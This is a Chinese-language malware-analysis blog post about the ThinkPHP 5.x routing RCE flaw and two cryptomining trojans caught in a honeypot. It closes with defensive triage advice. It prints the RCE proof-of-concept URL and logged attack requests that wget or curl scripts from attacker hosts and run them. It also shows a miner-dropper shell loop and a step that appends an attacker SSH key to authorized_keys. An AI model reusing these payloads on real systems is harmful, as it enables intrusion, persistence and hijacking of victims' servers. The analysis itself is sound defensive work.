Thinkphp框架在5.x多个小版本中存在由于路由解析缺陷导致的远程命令执行漏洞,个人基于thinkphp5.2版本部署的蜜罐分别于04-28、05-07捕获两个基于该漏洞的恶意挖矿木马。本文在分析该漏洞原理的基础上并对两个挖矿木马进行分析。
Thinkphp-RCE漏洞
恶意poc
1
| ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
漏洞调试
漏洞调试
漏洞相关调用栈为:
在Thinkphp框架入口函数thinkphp/library/think/App.php
run function中两个关键处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
public static function run(Request $request = null) { ··· Hook::listen('app_dispatch', self::$dispatch); $dispatch = self::$dispatch;
if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
$request->dispatch($dispatch);
if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
Hook::listen('app_begin', $dispatch);
$request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] );
$data = self::exec($dispatch, $config); ··· }
|
1、$dispatch = self::routeCheck($request, $config);
url处理校验
2、$data = self::exec($dispatch, $config);
执行调用分发
Route::check()函数中回会根据当前URL、路由定义返回相应检测结果,其中获取当前请求URL信息处理逻辑为thinkphp/library/think/Route.php function parseUrl()
中
由list($path, $var) = self:parseUrlPath($url);
获取[模块/控制钱/操作]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } elseif (IS_CLI) { $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; }
if (!isset($_SERVER['PATH_INFO'])) { foreach (Config::get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo; }
|
该poc返回
1
| $path = array("index", "\think\app", "invokefunction");
|
该url router
1
| $route = array("index", "\think\app", "invokefunction");
|
而后run()函数中exec()将上文获取检测结果、调度信息、配置信息执行掉用分发进入self:exec()时
1 2
| $dispatch = array("type"=>"module","module"=>array("index","\think\app","invokefunction"));
|
在thinkphp/library/think/App.php function module()执行
1
| return self:invokeMethod($call,$vars);
|
该函数根据传入调用类型执行相应分发处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| protected static function exec($dispatch, $config) { switch ($dispatch['type']) { case 'redirect': $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; case 'controller': $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break;
|
跟进self:module()处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| if (is_callable([$instance, $action])) { $call = [$instance, $action]; $reflect = new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) { $call = [$instance, '_empty']; $vars = [$actionName]; } else { throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); }
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
|
将相关参数带进function invokeMethod()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { $reflect = new \ReflectionMethod($method); }
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
|
中最后执行
ReflectionMethod::invokeArgs 带参数执行
1 2 3 4 5 6 7 8
| $reflect = new \ReflectionFunction($function); $function = "call_user_func_array";
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
$reflect = array("name"=>"invokeFunction","class"=>"think\App")
$args = array("system",array("id"));
|
实现代码执行
补丁处理
增加正则表达式处理
1 2 3
| preg_match('/^[A-Za-z](\w|\.)*$/', $controller) { throw new HttpException(····); }
|
即禁止传入\think\app并执行后续调用分发。
挖矿木马 a_thk.sh
- 样本:docker: kevinsafs/honeydata:thinkphpa_thk.sh
该木马基于Thinkphp5.x RCE后后续执行shell脚本简单处理直接执行挖矿主体,没有其他横向移动、扫描等模块,不展开分析。
恶意流量
1 2
| 182.254.241.79 - - [03/May/2019:11:16:18 +0000] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://81.6.42.123/a_thk.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" "-" 182.92.218.221 - - [04/May/2019:06:44:56 +0000] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://81.6.42.123/a_thk.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" "-"
|
shell脚本,获取系统相关信息、清除其他挖矿程序进程、加载恶意文件执行挖矿
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| while true; do crontab -r; ps -eo user,pid,time,comm | grep $("whoami") | grep -v 'rogue' | awk 'BEGIN{ FS=":|-"; OFS=""; } { print $1,$2,$3,$4,$5,$6 }' | awk '$3>500' | awk '{print $2}' | xargs -r kill -9 ps x | grep 'networkservic[e]' | awk '{print $1}' | xargs -r kill -9 ps x | grep 'sysupdat[e]' | awk '{print $1}' | xargs -r kill -9 if [ ! -s "/tmp/rogue_s" ]; then wget http://81.6.42.123/xmrig_s -O /tmp/rogue_s; chmod +x /tmp/rogue_s; fi if [ ! -s "/tmp/rogue_s" ]; then wget http://82.72.134.224/xmrig_s -O /tmp/rogue_s; chmod +x /tmp/rogue_s; fi if [ "$(ps -eo comm | grep -c "rogu[e]")" -lt "2" ]; then /tmp/rogue_s -r 1000 --donate-level 1 -o 139.224.15.175:26591 -B -p pass -k --max-cpu-usage=99 ; fi sleep 120; done
|
在06-29捕获的最新样本中对该文件进行更新和重命名,更新内容:增加其他挖矿程序、更新服务端
1 2 3 4 5 6 7 8
| - ps -eo user,pid,time,comm | grep $("whoami") | grep -v 'rogue' | awk 'BEGIN{ FS=":|-"; OFS=""; } { print $1,$2,$3,$4,$5,$6 }' | awk '$3>500' | awk '{print $2}' | xargs -r kill -9 + ps x | grep 'rogu[e]' | awk '{print $1}' | xargs -r kill -9 + ps x | grep 'xmri[g]' | awk '{print $1}' | xargs -r kill -9 + killall rogue_s + killall xmrig_s + if [ ! -s "/tmp/racks_s" ]; then + wget http://77.192.123.83/racks_s -O /tmp/racks_s; chmod +x /tmp/racks_s; + fi
|
入侵后相关进程为:
1 2 3 4 5 6
| [root@b23d372b1e78 /]# ps aux | grep 29963 root 7862 0.0 0.4 103376 2028 pts/0 S+ 15:09 0:00 grep 29963 apache 29963 49.6 1.2 455100 6144 ? Ssl 08:25 200:04 /tmp/racks_s -r 1000 --donate-level 1 -o 121.42.151.137:28850 -B -p pass -k --max-cpu-usage=99 [root@b23d372b1e78 /]# ps aux | grep 29956 root 7868 0.0 0.4 103376 2056 pts/0 S+ 15:09 0:00 grep 29956 apache 29956 49.6 1.2 455100 6288 ? Ssl 08:25 200:30 /tmp/racks_s -r 1000 --donate-level 1 -o 121.42.151.137:28850 -B -p pass -k --max-cpu-usage=99
|
networkservice
- 样本 docker: kevinsafs/honeydata:thinkphpMining-netwrokservice
该样本为DDG木马最新变种,基于Go 1.10编译、UPX加壳,该样本包含networkservice(漏洞扫描利用模块)\sysguard(c&c通信处理)\syssupdate(挖矿程序)\Update.sh(程序维持脚本)\cinfig.json(配置文件及钱包地址)多个文件。
恶意流量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| | 33466 | thinkphp | 58.56.9.12 | 34322 | 02-42-1A-03-B9-90 | NULL | NULL | NULL | NULL | GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1 Host: 45.77.146.50 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) Connection: close Accept-Encoding: gzip
| 2019-07-21 08:41:39 | | 33467 | thinkphp | 58.56.9.12 | 47174 | 02-42-1A-03-B9-90 | NULL | NULL | NULL | NULL | GET /index.php?function=call_user_func_array&s=%2Findex%2F%5Cthink%5Capp%2Finvokefunction&vars%5B0%5D=system&vars%5B1%5D%5B%5D=curl+-fsSL+http%3A%2F%2F185.181.10.234%2FE5DB0E07C3D7BE80V520%2Finit.sh+%7Csh HTTP/1.1 Host: 45.77.146.50 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) Connection: close Accept-Encoding: gzip
| 2019-07-21 08:41:39 | | 33468 | thinkphp | 172.17.0.2 | 55188 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/init.sh HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: 185.181.10.234 Accept: */*
| 2019-07-21 08:41:40 | | 33469 | thinkphp | 172.17.0.2 | 55192 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/config.json HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: 185.181.10.234 Accept: */*
| 2019-07-21 08:41:40 | | 33470 | thinkphp | 172.17.0.2 | 55196 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/sysupdate HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: 185.181.10.234 Accept: */*
| 2019-07-21 08:41:41 | | 33471 | thinkphp | 172.17.0.2 | 55200 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/sysguard HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: 185.181.10.234 Accept: */*
| 2019-07-21 08:41:42 | | 33472 | thinkphp | 172.17.0.2 | 55204 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/update.sh HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: 185.181.10.234 Accept: */*
| 2019-07-21 08:41:43 | | 33473 | thinkphp | 172.17.0.2 | 55208 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/networkservice HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: 185.181.10.234 Accept: */*
| 2019-07-21 08:41:43 | +-------+--
|
且该木马会写入authorized_keys实现免密码登录
1 2 3 4 5 6 7 8 9
| fi chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys cfg="/etc/config.json" file="/etc/sysupdate"
|
我们重点关注其横向移动、漏扫利用模块networkservice
该模块主要包含函数及程序涉及的基础库为
可以看到主要涉及ip处理、端口识别、扫描处理等相关函数
在main_main流程图中可以发现其程序横向移动、扫描ip地址由c&c下发,url为:https://pixeldra.in/api/download/I9RRye
从main_scan及扫描主函数流程图可发现该模块包含十余漏洞利用,例如redis、drupal、thinkphp等
我们跟进其处理thinkphp_rce漏洞逻辑
- 加载目标ip、port
- 判断目标web应用是否为Thinkphp
- 组装thinkphp_5 rce 利用exp
- 判断exp是否利用成功,否,则继续组装thinkphp_5.2 利用exp
- 利用成功,c&c加载恶意文件并进行后渗透处理
thinkphp_5 rce 利用exp 为
thinkphp_5.2 利用exp 为
安全建议
- 基于networkservice横向移动模块分析后可以发现现在挖矿程序不仅仅依赖于web应用,其利用恶意exp愈发全面。对此,需要修复相关漏洞、对redis等系统设置强权限控制;
- 服务器定时任务清理、权限、iptables等相关加固方案;
入侵排查
部分常见命令
- netstat -antlp
- ps aux | grep pid
隐藏进程
1 2 3
| ps -ef | awk '{print}' | sort -n | uniq >1 ls /proc | sort -n |uniq >2 diff 1 2
|
72小时新增文件find / -ctime -2
文件时间信息 stat
敏感目录下文件如:ls -alt /tmp/
定时任务 crontabl –l
历史命令 history
cat ~/.bash_history
命令是否被篡改 alias ls